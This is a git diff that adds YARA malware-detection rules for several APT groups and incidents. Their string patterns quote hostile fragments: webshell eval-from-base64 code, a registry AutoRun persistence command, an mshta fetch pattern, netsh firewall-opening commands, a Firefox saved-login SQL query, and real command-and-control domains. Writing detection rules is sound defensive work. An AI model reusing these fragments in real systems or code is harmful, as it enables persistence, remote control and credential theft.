+      $x2 = "[Stone] Config --> 2k3 TCP Positive Logout." fullword ascii
+      $x3 = "\\RbDoorX64.pdb" ascii
+      $x4 = "RbDoor, Version 1.0" fullword wide
+      $x5 = "About RbDoor" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
+
+rule APT_APT41_RevokedCert_Aug19_1 {
+   meta:
+      description = "Detects revoked certificates used by APT41 group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      score = 60
+      id = "f107cc42-58ec-500d-b1c3-27e9e00826aa"
+   condition:
+      uint16(0) == 0x5a4d and
+      for any i in (0 .. pe.number_of_signatures) : (
+         pe.signatures[i].serial == "0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35" or
+         pe.signatures[i].serial == "63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa" or
+         pe.signatures[i].serial == "01:00:00:00:00:01:30:73:85:f7:02" or
+         pe.signatures[i].serial == "14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78" or
+         pe.signatures[i].serial == "7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b" or
+         pe.signatures[i].serial == "53:0c:e1:4c:81:f3:62:10:a1:68:2a:ff:17:9e:25:80" or
+         pe.signatures[i].serial == "54:c6:c1:40:6f:b4:ac:b5:d2:06:74:e9:93:92:c6:3e" or
+         pe.signatures[i].serial == "fd:f2:83:7d:ac:12:b7:bb:30:ad:05:8f:99:9e:cf:00" or
+         pe.signatures[i].serial == "18:63:79:57:5a:31:46:e2:6b:ef:c9:0a:58:0d:1b:d2" or
+         pe.signatures[i].serial == "5c:2f:97:a3:1a:bc:32:b0:8c:ac:01:00:59:8f:32:f6" or
+         pe.signatures[i].serial == "4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5" or
+         pe.signatures[i].serial == "58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30" or
+         pe.signatures[i].serial == "47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe" or
+         pe.signatures[i].serial == "30:d3:c1:67:26:5b:52:0c:b8:7f:25:84:4f:95:cb:04" or
+         pe.signatures[i].serial == "1e:52:bb:f5:c9:0e:c1:64:d0:5b:e0:e4:16:61:52:5f" or
+         pe.signatures[i].serial == "25:f8:78:22:de:56:d3:98:21:59:28:73:ea:09:ca:37" or
+         pe.signatures[i].serial == "67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d"
+      )
+}
+
+rule APT_APT41_CN_ELF_Speculoos_Backdoor {
+   meta:
+      description = "Detects Speculoos Backdoor used by APT41"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/"
+      date = "2020-04-14"
+      score = 90
+      hash1 = "6943fbb194317d344ca9911b7abb11b684d3dca4c29adcbcff39291822902167"
+      hash2 = "99c5dbeb545af3ef1f0f9643449015988c4e02bf8a7164b5d6c86f67e6dc2d28"
+      id = "efe2b368-33af-5382-a5f0-0e7dd7f4dea4"
+   strings:
+      $xc1 = { 2F 70 72 69 76 61 74 65 2F 76 61 72 00 68 77 2E
+               70 68 79 73 6D 65 6D 00 68 77 2E 75 73 65 72 6D
+               65 6D 00 4E 41 2D 4E 41 2D 4E 41 2D 4E 41 2D 4E
+               41 2D 4E 41 00 6C 6F 30 00 00 00 00 25 30 32 78
+               2D 25 30 32 78 2D 25 30 32 78 2D 25 30 32 78 2D
+               25 30 32 78 2D 25 30 32 78 0A 00 72 00 4E 41 00
+               75 6E 61 6D 65 20 2D 76 }
+      
+      $s1 = "badshell" ascii fullword
+      $s2 = "hw.physmem" ascii fullword
+      $s3 = "uname -v" ascii fullword
+      $s4 = "uname -s" ascii fullword
+      $s5 = "machdep.tsc_freq" ascii fullword
+      $s6 = "/usr/sbin/config.bak" ascii fullword
+      $s7 = "enter MessageLoop..." ascii fullword
+      $s8 = "exit StartCBProcess..." ascii fullword
+
+      $sc1 = { 72 6D 20 2D 72 66 20 22 25 73 22 00 2F 70 72 6F
+               63 2F }
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 600KB and
+      1 of ($x*) or 4 of them
+}
diff --git a/yara-Neo23x0/apt_apt6_malware.yar b/yara-Neo23x0/apt_apt6_malware.yar
new file mode 100644
index 0000000..a70ce8b
--- /dev/null
+++ b/yara-Neo23x0/apt_apt6_malware.yar
@@ -0,0 +1,55 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-09
+	Identifier: APT 6 Malware
+*/
+
+rule APT6_Malware_Sample_Gen : FILE {
+   meta:
+      description = "Rule written for 2 malware samples that communicated to APT6 C2 servers"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://otx.alienvault.com/pulse/56c4d1664637f26ad04e5b73/"
+      date = "2016-04-09"
+      modified = "2023-01-06"
+      score = 80
+      hash1 = "321ec239bfa6927d39155ef5f10741ed786219489bbbb1dc8fee66e22f9f8e80"
+      hash2 = "7aef130b19d1f940e4c4cee6efe0f190f1402d2e0f741ee605c77518a04cb6d7"
+      id = "142d2714-f7bf-5725-bf7e-9497be7ed234"
+   strings:
+      /* Specific strings from samples */
+      $x2 = "SPCK!it is a [(?riddle?) wrapped in a {mystery}] inside an <enigma>!" fullword ascii
+      $x3 = "636C7369643A46334430443336462D323346382D343638322D413139352D373443393242303344344146" fullword ascii
+
+      /* Malware Strings */
+      $s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" fullword ascii
+      $s2 = "DUMPTHIN" fullword ascii
+      $s3 = "\"C:\\WINDOWS\\system32\\" ascii
+      $s4 = "window.eval(f.decodeURIComponent(a));" fullword ascii
+      $s5 = "/tbedrs.dll" fullword ascii
+      $s6 = "NSISDL/1.2 (Mozilla)" fullword ascii
+      $s7 = "NSIS_Inetc (Mozilla)" fullword ascii
+      $s8 = "/logos.gif" fullword ascii
+      $s9 = "synflood" fullword ascii
+      $s10 = "IconFile=C:\\WINDOWS\\system32\\SHELL32.dll" fullword ascii
+      $s11 = "udpflood" fullword ascii
+      $s12 = "shellcode" fullword ascii
+      $s13 = "&PassWord=" fullword ascii
+      $s14 = "SystemPropertiesProtection.exe" fullword ascii
+      $s15 = "SystemPropertiesRemote.exe" fullword ascii
+
+      /* C2 Server user by APT 6 group */
+      $c1 = "jobcall.org" ascii
+      $c2 = "sportsinfinite.com" ascii
+      $c3 = "milsatcom.us" ascii
+      $c4 = "geographicphotographer.com" ascii
+      $c5 = "snowsmooth.com" ascii
+      $c6 = "goodre.net" ascii
+      $c7 = "gloflabs.com" ascii
+   condition:
+      (
+         uint16(0) == 0x5a4d and filesize < 1000KB and
+         ( ( 1 of ($x*) and 3 of ($s*) ) or 1 of ($c*) )
+      ) or
+      ( 6 of them )
+}
diff --git a/yara-Neo23x0/apt_ar18_165a.yar b/yara-Neo23x0/apt_ar18_165a.yar
new file mode 100644
index 0000000..a21524c
--- /dev/null
+++ b/yara-Neo23x0/apt_ar18_165a.yar
@@ -0,0 +1,76 @@
+
+rule APT_HiddenCobra_enc_PK_header {
+   meta:
+      author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
+      incident = "10135536"
+      date = "2018-04-12"
+      category = "hidden_cobra"
+      family = "TYPEFRAME"
+      hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4"
+      reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
+      description = "Hidden Cobra - Detects trojan with encrypted header"
+      id = "5d7001b3-162c-5a97-a740-1b8e33d4aa9e"
+   strings:
+      $s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 }
+      $s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a }
+      $s2 = { ae 1d af 74 c0 f5 e1 02 50 10 }
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
+}
+
+rule APT_HiddenCobra_import_obfuscation_2 {
+   meta:
+      author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
+      incident = "10135536"
+      date = "2018-04-12"
+      category = "hidden_cobra"
+      family = "TYPEFRAME"
+      hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51"
+      reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
+      description = "Hidden Cobra - Detects remote access trojan"
+      id = "bc139580-a55b-514f-8a4e-ca1402ce3ad9"
+   strings:
+      $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F}
+      $s1 = {B6 DF 01 FD 48 B5 }
+      $s2 = {B6 D5 0E F3 4E B5 }
+      $s3 = {B7 DF 0E EE }
+      $s4 = {B6 DF 03 FC }
+      $s5 = {A7 D3 03 FC }
+  condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
+
+rule APT_NK_AR18_165A_HiddenCobra_import_deob {
+   meta:
+      author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
+      incident = "10135536"
+      date = "2018-04-12"
+      category = "hidden_cobra"
+      family = "TYPEFRAME"
+      md5 = "ae769e62fef4a1709c12c9046301aa5d"
+      md5 = "e48fe20eblf5a5887f2ac631fed9ed63"
+      reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
+      description = "Hidden Cobra - Detects installed proxy module as a service"
+      id = "f403d589-be35-57a7-9675-f92657c11acc"
+   strings:
+      $ = { 8a 01 3c 62 7c 0a 3c 79 7f 06 b2 db 2a d0 88 11 8a 41 01 41 84 c0 75 e8}
+      $ = { 8A 08 80 F9 62 7C 0B 80 F9 79 7F 06 82 DB 2A D1 88 10 8A 48 01 40 84 C9 75 E6}
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
+}
+
+rule APT_NK_AR18_165A_1 {
+   meta:
+      description = "Detects APT malware from AR18-165A report by US CERT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
+      date = "2018-06-15"
+      hash1 = "089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359"
+      id = "45f5205d-7f69-5646-aef8-f95d139f9720"
+   strings:
+      $s1 = "netsh.exe advfirewall firewall add rule name=\"PortOpenning\" dir=in protocol=tcp localport=%d action=allow enable=yes" fullword wide
+      $s2 = "netsh.exe firewall add portopening TCP %d \"PortOpenning\" enable" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_area1_phishing_diplomacy.yar b/yara-Neo23x0/apt_area1_phishing_diplomacy.yar
new file mode 100644
index 0000000..bc4b015
--- /dev/null
+++ b/yara-Neo23x0/apt_area1_phishing_diplomacy.yar
@@ -0,0 +1,46 @@
+
+rule APT_Area1_SSF_PlugX {
+   meta:
+      description = "Detects send tool used in phishing campaign reported by Area 1 in December 2018"
+      reference = "https://cdn.area1security.com/reports/Area-1-Security-PhishingDiplomacy.pdf"
+      date = "2018-12-19"
+      author = "Area 1"
+      id = "a5b4e781-f0d1-55df-926c-2d321aa48139"
+   strings:
+      $feature_call = { 8b 0? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+         6a 07 6a ff ff d0 8b f0 85 f6 74 14 }
+      $keylogger_reg = { 8b 4d 08 6a 0c 6a 01 8d 55 f4 52 c7 45 f4 01 00 06 00
+         c7 45 f8 00 01 00 00 89 4d fc ff d0 85 c0 75 1d }
+      $file_op = { 55 8b ec 83 ec 20 0f b7 56 18 8b 46 10 66 8b 4e 14 89 45 e4
+         8d 44 32 10 66 89 4d f0 0f b7 4e 1a 57 89 45 e8 33 ff 8d 45 e0 8d 54
+         31 10 50 89 7d e0 89 55 ec c7 45 fa ?? ?? ?? ?? 89 7d f2 89 7d f6 ff
+         15 1c 43 02 10 }
+      $ver_cmp = { 0f b6 8d b0 fe ff ff 0f b6 95 b4 fe ff ff 66 c1 e1 08 0f b7
+         c1 0b c2 3d 02 05 00 00 7f 2c }
+      $regedit = { c7 06 23 01 12 20 c7 46 04 01 90 00 00 89 5e 0c 89 5e 08 e8
+         51 fb ff ff 8b 4d 08 8b 50 38 68 30 75 00 00 56 51 ff d2 }
+      $get_device_caps = { 8b 1d ?? ?? ?? ?? 6a 08 50 ff d3 0f b7 56 12 8b c8 0f af ca
+         b8 1f 85 eb 51 f7 e9 c1 fa 05 8b c2 c1 e8 1f 03 c2 89 45 f8 8b 45 f0 6a 0a 50 ff d3
+         0f b7 56 14 8b c8 0f af ca b8 1f 85 eb 51 }
+   condition:
+      3 of them
+}
+
+rule APT_Area1_SSF_GoogleSend_Strings {
+   meta:
+      description = "Detects send tool used in phishing campaign reported by Area 1 in December 2018"
+      reference = "https://cdn.area1security.com/reports/Area-1-Security-PhishingDiplomacy.pdf"
+      date = "2018-12-19"
+      author = "Area 1 (modified by Florian Roth)"
+      id = "66a2faa1-b133-528c-91a9-06a43d2c00a0"
+   strings:
+      $conf = "RefreshToken.ini" wide
+      $client_id = "Enter your client ID here" wide
+      $client_secret = "Enter your client secret here" wide
+      $status = "We are going to send" wide
+      $s1 = { b8 00 01 00 00 f0 0f b0 23 74 94 f3 90 80 3d ?? ?? ?? ?? 00 75 ??
+         51 52 6a 00 e8 ?? ?? ?? ?? 5a 59 b8 00 01 00 00 f0 0f b0
+         23 0f ?? ?? ?? ?? ?? 51 52 6a 0a e8 ?? ?? ?? ?? 5a 59 eb c3 }
+   condition:
+      uint16(0) == 0x5a4d and 3 of them
+}
diff --git a/yara-Neo23x0/apt_aus_parl_compromise.yar b/yara-Neo23x0/apt_aus_parl_compromise.yar
new file mode 100644
index 0000000..67adaea
--- /dev/null
+++ b/yara-Neo23x0/apt_aus_parl_compromise.yar
@@ -0,0 +1,172 @@
+/*
+   YARA Rule Set
+   Author: Florian Roth
+   Date: 2019-02-18
+   Identifier: Compromise of the Australian Parliament House network
+   Reference: https://cyber.gov.au/government/news/parliament-house-network-compromise/
+              https://twitter.com/cyb3rops/status/1097423665472376832
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT_WebShell_Tiny_1 {
+   meta:
+      description = "Detetcs a tiny webshell involved in the Australian Parliament House network compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+      date = "2019-02-18"
+      id = "e65a8920-0684-5aae-a2b8-079c2beae08a"
+   strings:
+      $x1 = "eval(" ascii wide
+   condition:
+      ( uint16(0) == 0x3f3c or uint16(0) == 0x253c ) and filesize < 40 and $x1
+}
+
+rule APT_WebShell_AUS_Tiny_2 {
+   meta:
+      description = "Detetcs a tiny webshell involved in the Australian Parliament House network compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+      date = "2019-02-18"
+      hash1 = "0d6209d86f77a0a69451b0f27b476580c14e0cda15fa6a5003aab57a93e7e5a5"
+      id = "4746d4ce-628a-59b0-9032-7e0759d96ad3"
+   strings:
+      $x1 = "Request.Item[System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(\"[password]\"))];" ascii
+      $x2 = "eval(arguments,System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(\"" ascii
+   condition:
+      ( uint16(0) == 0x3f3c or uint16(0) == 0x253c ) and filesize < 1KB and 1 of them
+}
+
+rule APT_WebShell_AUS_JScript_3 {
+   meta:
+      description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+      date = "2019-02-18"
+      hash1 = "7ac6f973f7fccf8c3d58d766dec4ab7eb6867a487aa71bc11d5f05da9322582d"
+      id = "ff7e780b-ccf9-53b6-b741-f04a8cbaf580"
+   strings:
+      $s1 = "<%@ Page Language=\"Jscript\" validateRequest=\"false\"%><%try{eval(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String" ascii
+      $s2 = ".Item[\"[password]\"])),\"unsafe\");}" ascii
+   condition:
+      uint16(0) == 0x6568 and filesize < 1KB and all of them
+}
+
+
+rule APT_WebShell_AUS_4 {
+   meta:
+      description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+      date = "2019-02-18"
+      hash1 = "83321c02339bb51735fbcd9a80c056bd3b89655f3dc41e5fef07ca46af09bb71"
+      id = "bb5b10d1-3528-5361-92fc-8440c65dcda4"
+   strings:
+      $s1 = "wProxy.Credentials = new System.Net.NetworkCredential(pusr, ppwd);" fullword ascii
+      $s2 = "{return System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(" ascii
+      $s3 = ".Equals('User-Agent', StringComparison.OrdinalIgnoreCase))" ascii
+      $s4 = "gen.Emit(System.Reflection.Emit.OpCodes.Ret);" fullword ascii
+   condition:
+      uint16(0) == 0x7566 and filesize < 10KB and 3 of them
+}
+
+rule APT_Script_AUS_4 {
+   meta:
+      description = "Detetcs a script involved in the Australian Parliament House network compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+      date = "2019-02-18"
+      hash1 = "fdf15f388a511a63fbad223e6edb259abdd4009ec81fcc87ce84f0f2024c8057"
+      id = "5cbf2476-5ce8-540d-b87b-e400daf49b43"
+   strings:
+      $x1 = "myMutex = CreateMutex(0, 1, \"teX23stNew\")" fullword ascii
+      $x2 = "mmpath = Environ(appdataPath) & \"\\\" & \"Microsoft\" & \"\\\" & \"mm.accdb\"" fullword ascii
+      $x3 = "Dim mmpath As String, newmmpath  As String, appdataPath As String" fullword ascii
+      $x4 = "'MsgBox \"myMutex Created\" Do noting" fullword ascii
+      $x5 = "appdataPath = \"app\" & \"DatA\"" fullword ascii
+      $x6 = ".DoCmd.Close , , acSaveYes" fullword ascii
+   condition:
+      filesize < 7KB and 1 of them
+}
+
+rule APT_WebShell_AUS_5 {
+   meta:
+      description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+      date = "2019-02-18"
+      hash1 = "54a17fb257db2d09d61af510753fd5aa00537638a81d0a8762a5645b4ef977e4"
+      id = "59b3f6aa-2d3b-54b4-b543-57bd9d981e87"
+   strings:
+      $a1 = "function DEC(d){return System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(d));}" fullword ascii
+      $a2 = "function ENC(d){return Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(d));}" fullword ascii
+
+      $s1 = "var hash=DEC(Request.Item['" ascii
+      $s2 = "Response.Write(ENC(SET_ASS_SUCCESS));" fullword ascii
+      $s3 = "hashtable[hash] = assCode;" fullword ascii
+      $s4 = "Response.Write(ss);" fullword ascii
+      $s5 = "var hashtable = Application[CachePtr];" fullword ascii
+   condition:
+      uint16(0) == 0x7566 and filesize < 2KB and 4 of them
+}
+
+rule HKTL_LazyCat_LogEraser {
+   meta:
+      description = "Detetcs a tool used in the Australian Parliament House network compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+      date = "2019-02-18"
+      hash1 = "1c113dce265e4d744245a7c55dadc80199ae972a9e0ecbd0c5ced57067cf755b"
+      hash2 = "510375f8142b3651df67d42c3eff8d2d880987c0e057fc75a5583f36de34bf0e"
+      id = "a3d74657-a389-5482-ab26-966e790afd50"
+   strings:
+      $x1 = "LazyCat.dll" ascii wide fullword
+      $x2 = ".local_privilege_escalation.rotten_potato" ascii wide
+      $x3 = "LazyCat.Extension" ascii wide
+      $x4 = " MEOWof" ascii wide
+      $x5 = "VirtualSite: {0}, Address: {1:X16}, Name: {2}, Handle: {3:X16}, LogPath: {4}" fullword wide
+
+      $s1 = "LazyCat" fullword ascii wide
+      $s2 = "$e3ff37f2-85d7-4b24-a385-7eeb1f5a9562"
+      $s3 = "local -> remote {0} bytes"
+      $s4 = "remote -> local {0} bytes"
+   condition:
+      3 of them
+}
+
+rule HKTL_PowerKatz_Feb19_1 {
+   meta:
+      description = "Detetcs a tool used in the Australian Parliament House network compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+      date = "2019-02-18"
+      id = "294d6f6c-dbc8-5431-87a0-64abe582c4ea"
+   strings:
+      $x1 = "Powerkatz32" ascii wide fullword
+      $x2 = "Powerkatz64" ascii wide
+
+      $s1 = "GetData: not found taskName" fullword ascii wide
+      $s2 = "GetRes Ex:" fullword ascii wide
+   condition:
+      1 of ($x*) and 1 of ($s*)
+}
+
+rule HKTL_Unknown_Feb19_1 {
+   meta:
+      description = "Detetcs a tool used in the Australian Parliament House network compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+      date = "2019-02-18"
+      id = "bdcadc4b-8881-5dc7-b203-4e79cbc850ed"
+   strings:
+      $x1 = "not a valid timeout format!" ascii wide fullword
+      $x2 = "host can not be empty!" ascii wide fullword
+      $x3 = "not a valid port format!" ascii wide fullword
+      $x4 = "{0} - {1} TTL={2} time={3}" ascii wide fullword
+      $x5 = "ping count is not a correct format!" ascii wide fullword
+
+      $s1 = "The result is too large,program store to '{0}'.Please download it manully." fullword ascii wide
+      $s2 = "C:\\Windows\\temp\\" ascii wide
+   condition:
+      1 of ($x*) or 2 of them
+}
diff --git a/yara-Neo23x0/apt_babyshark.yar b/yara-Neo23x0/apt_babyshark.yar
new file mode 100644
index 0000000..e66a863
--- /dev/null
+++ b/yara-Neo23x0/apt_babyshark.yar
@@ -0,0 +1,53 @@
+
+import "pe"
+
+rule MAL_PE_Type_BabyShark_Loader {
+   meta:
+      description = "Detects PE Type babyShark loader mentioned in February 2019 blog post by PaloAltNetworks"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"
+      date = "2019-02-24"
+      hash1 = "6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c"
+      id = "141e7a67-7930-5fd8-ac91-5d31b99e4ff3"
+   strings:
+      $x1 = "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Command Processor\" /v AutoRun /t REG_SZ /d \"%s\" /f" fullword ascii
+      $x2 = /mshta\.exe http:\/\/[a-z0-9\.\/]{5,30}\.hta/
+
+      $xc1 = { 57 69 6E 45 78 65 63 00 6B 65 72 6E 65 6C 33 32
+               2E 44 4C 4C 00 00 00 00 } /* WinExec kernel32.DLL */
+   condition:
+      uint16(0) == 0x5a4d and (
+         pe.imphash() == "57b6d88707d9cd1c87169076c24f962e" or
+         1 of them or
+         for any i in (0 .. pe.number_of_signatures) : (
+            pe.signatures[i].issuer contains "thawte SHA256 Code Signing CA" and
+            pe.signatures[i].serial == "0f:ff:e4:32:a5:3f:f0:3b:92:23:f8:8b:e1:b8:3d:9d"
+         )
+      )
+}
+
+rule APT_NK_BabyShark_KimJoingRAT_Apr19_1 {
+   meta:
+      description = "Detects BabyShark KimJongRAT"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/"
+      date = "2019-04-27"
+      hash1 = "d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712"
+      id = "c6bd1e1a-68f2-5a2d-a159-b16ea0d33987"
+   strings:
+      $x1 = "%s\\Microsoft\\ttmp.log" fullword wide
+
+      $a1 = "logins.json" fullword ascii
+
+      $s1 = "https://www.google.com/accounts/servicelogin" fullword ascii
+      $s2 = "https://login.yahoo.com/config/login" fullword ascii
+      $s3 = "SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login" ascii
+      $s4 = "\\mozsqlite3.dll" ascii
+      $s5 = "SMTP Password" fullword ascii
+      $s6 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and (
+         1 of ($x*) or
+         ( $a1 and 3 of ($s*) )
+      )
+}
diff --git a/yara-Neo23x0/apt_backdoor_ssh_python.yar b/yara-Neo23x0/apt_backdoor_ssh_python.yar
new file mode 100644
index 0000000..3e0a9da
--- /dev/null
+++ b/yara-Neo23x0/apt_backdoor_ssh_python.yar
@@ -0,0 +1,17 @@
+
+rule custom_ssh_backdoor_server {
+   meta:
+      description = "Custome SSH backdoor based on python and paramiko - file server.py"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/S46L3o"
+      date = "2015-05-14"
+      modified = "2022-08-18"
+      hash = "0953b6c2181249b94282ca5736471f85d80d41c9"
+      id = "eccf705b-b2c3-5af6-ab86-70292089812b"
+   strings:
+      $s0 = "command= raw_input(\"Enter command: \").strip('n')" fullword ascii
+      $s1 = "print '[-] (Failed to load moduli -- gex will be unsupported.)'" fullword ascii
+      $s2 = "print '[-] Listen/bind/accept failed: ' + str(e)" fullword ascii
+   condition:
+      2 of them
+}
diff --git a/yara-Neo23x0/apt_backdoor_sunburst_fnv1a_experimental.yar b/yara-Neo23x0/apt_backdoor_sunburst_fnv1a_experimental.yar
new file mode 100644
index 0000000..edd0e96
--- /dev/null
+++ b/yara-Neo23x0/apt_backdoor_sunburst_fnv1a_experimental.yar
@@ -0,0 +1,47 @@
+
+rule APT_fnv1a_plus_extra_XOR_in_MSIL_experimental
+{
+    meta:
+        description = "This rule detects the specific MSIL implementation of fnv1a of the SUNBURST backdoor (standard fnv1a + one final XOR before RET) independent of the XOR-string. (fnv64a_offset and fnv64a_prime are standard constants in the fnv1a hashing algorithm.)"
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+        author = "Arnim Rupp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		date = "2020-12-22"
+		hash1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
+		hash2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
+		hash3 = "019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134"
+        id = "5505f7ff-eca5-5274-bdd1-dbbd648c3ccc"
+    strings:
+		$fnv64a_offset = { 25 23 22 84 e4 9c f2 cb }
+		$fnv64a_prime_plus_gap_plus_xor_ret = { B3 01 00 00 00 01 [8-40] 61 2A 00 00 }
+
+		// use for less false positives, xor before fnv1a prime
+		//$fnv64a_prime_plus_gap_plus_xor_ret = { 61 [0-3] B3 01 00 00 00 01 [8-40] 61 2A }
+		// even less false positives, not sure if it misses beef
+		//$fnv64a_prime_plus_gap_plus_xor_ret = { 61 [0-3] B3 01 00 00 00 01 [8-40] 61 2A 00 00 }
+    condition:
+		(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+// todo:
+// Rules wouldn't work yet for bitshift instead of multiplication as described in http://www.isthe.com/chongo/tech/comp/fnv/index.html :  hval += (hval << 1) + (hval << 4) + (hval << 5) + (hval << 7) + (hval << 8) + (hval << 40);
+
+// Deactivated. This rule is probably only useful for developers to check their own software repository
+/*
+rule TEST_false_positive_plain_fnv1a_in_x64
+{
+    meta:
+        description = "This rule detects x64 implementations of standard fnv1a just by looking for the standard fnv64a_offset and fnv64a_prime (unless bitshifting is used instead of multiplication). This rule would have found the SUNBURST backdoor at Solarwinds but will also find any other programm which implements fnv1a. Just useful for developers, pls check if that fnv1a was put there by you ;)"
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+        author = "Arnim Rupp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		date = "2020-12-22"
+		score = 10
+    strings:
+		$fnv64a_offset = { 25 23 22 84 e4 9c f2 cb }
+		$fnv64a_prime = { B3 01 00 00 00 01 }
+    condition:
+		// MZ or ELF
+		( uint16(0) == 0x5a4d or uint32be(0) == 0x7f454c46 ) and all of them
+}
+*/
diff --git a/yara-Neo23x0/apt_backspace.yar b/yara-Neo23x0/apt_backspace.yar
new file mode 100644
index 0000000..8944413
--- /dev/null
+++ b/yara-Neo23x0/apt_backspace.yar
@@ -0,0 +1,19 @@
+/*
+Author: Bit Byte Bitten
+Date: 5/14/2015
+*/
+
+rule apt_backspace{
+	meta:
+		description = "Detects APT backspace"
+		author = "Bit Byte Bitten"
+		date = "2015-05-14"
+		hash = "6cbfeb7526de65eb2e3c848acac05da1e885636d17c1c45c62ad37e44cd84f99"
+		id = "3da3337d-b6d3-5661-b43e-535e06817303"
+	strings:
+		$s1 = "!! Use Splice Socket !!"
+		$s2 = "User-Agent: SJZJ (compatible; MSIE 6.0; Win32)"
+		$s3 = "g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d"
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
\ No newline at end of file
